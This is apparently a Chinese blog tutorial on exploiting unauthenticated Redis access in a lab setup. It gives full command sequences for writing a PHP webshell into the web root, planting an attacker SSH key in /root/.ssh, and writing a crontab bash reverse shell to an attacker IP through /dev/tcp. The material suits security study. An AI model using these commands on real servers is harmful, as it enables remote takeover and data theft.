Redis未授权访问漏洞利用

1、redis介绍

一、Redis介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

二、漏洞简介及危害

 Redis因配置不当就会导致未授权访问。在默认情况下,Redis会绑定在 0.0.0.0:6379。如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 Redis 服务直接暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问到目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,还可以利用 Redis 自身提供的config 命令进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

该漏洞的产生条件有以下两点:

1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
2.没有设置密码认证(一般为空),可以免密码(认证)远程登录redis服务。

漏洞危害:

(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据; (2)
攻击者可通过执行lua代码,或通过数据备份功能往磁盘写入后门文件; (3)
最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器;

2、获取web服务的webshell

靶机Centos7:192.168.55.136
攻击机kali:192.168.55.129

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。

①服务器开启web服务,可以通过下载phpstudy集成环境,开启apache服务;通过访问local

host/127.0.0.1看apache是否配置成功且为开启状态;
在这里插入图片描述

注:1,页面显示成功如果无法访问网站目录下的文件(显示未找到该文件),查看文件是否支持(terrell,root)用户访问,或者查看apache配置文件看默认访问路径指向哪里;网站目录太难记可以修改,但需要同时修改apache默认首页路径,保持二者一致;

在这里插入图片描述

前者通过修改 chgrp -R terrell index.html chown -R terrell index.html;后者,查看网站根目录下是否含有默认首页的指定文件;

2,防火墙是否关闭

在这里插入图片描述

②执行以下命令

config set dir /www/admin/localhost_80/wwwroot -->对该文件进行操作
config set dbfilename shell.php -->在该文件中创建.php文件
set x “一句话木马”
save

即可将shell写入web目录

在这里插入图片描述

3、写ssh-keygen公钥登录服务器

在以下条件下,可以利用此方法

· 1、Redis服务使用root账号启动

· 2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

注:靶机是否设置了密码

此方法具体参考:redis配置不当可直接导致服务器被控制

在靶机中创建ssh公钥存放目录(一般是/root/.ssh)

  mkdir /root/.ssh  .类文件被系统隐藏

靶机中开启redis服务

redis-server  /etc/redis.conf

然后攻击机在本地生成一对密钥 被SHA256加密过

ssh-keygen -t rsa

在这里插入图片描述cat /root/.ssh/id_rsa.pub 查看密钥
在这里插入图片描述3,save 执行

4, ssh -i id_rsa root@192.168.55.136 退出连接,进行远程登录
在这里插入图片描述
5,获取shell
ls 、pwd 、cat /etc/passwd 常用命令进行测试执行

4、利用计划任务执行命令反弹shell

原理:

首先同样利用了redis数据库的备份功能,在我们不知道网站绝对路径的时候,可以利用linux的定时任务特性:因为Linux会监测/etc/crontab的内容,当我们将反弹shell的命令使用redis备份到/etc/crontab中,就可以获得反弹shell。

/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名 注意:
在不同系统中,root的位置是不一样的
在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建

在redis以root权限运行时可以写crontab来执行命令反弹shell,建议同时开两个shell
1,先在自己的服务器上监听一个端口

nc -lvnp 6666

2,然后执行以下命令:192.168.55.129为攻击机kali

redis-cli -h 192.168.55.136
set xxx "\n\n* * * * * bash -i>& /dev/tcp/192.168.55.129/6666 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

反弹shell时“ set xxx “\n\n* * * * * bash -i>& /dev/tcp/192.168.55.129/6666 0>&1\n\n” ”

//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,开始和结束的\n必须要有一个,也就是前后各有一个,当然,多个可以,主要是为了避免crontab的语法错误。

大功告成,测试结果如下:
在这里插入图片描述

To----->怎么实现redis漏洞复现:
https://blog.csdn.net/qq_46634561/article/details/120374564
day day up!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值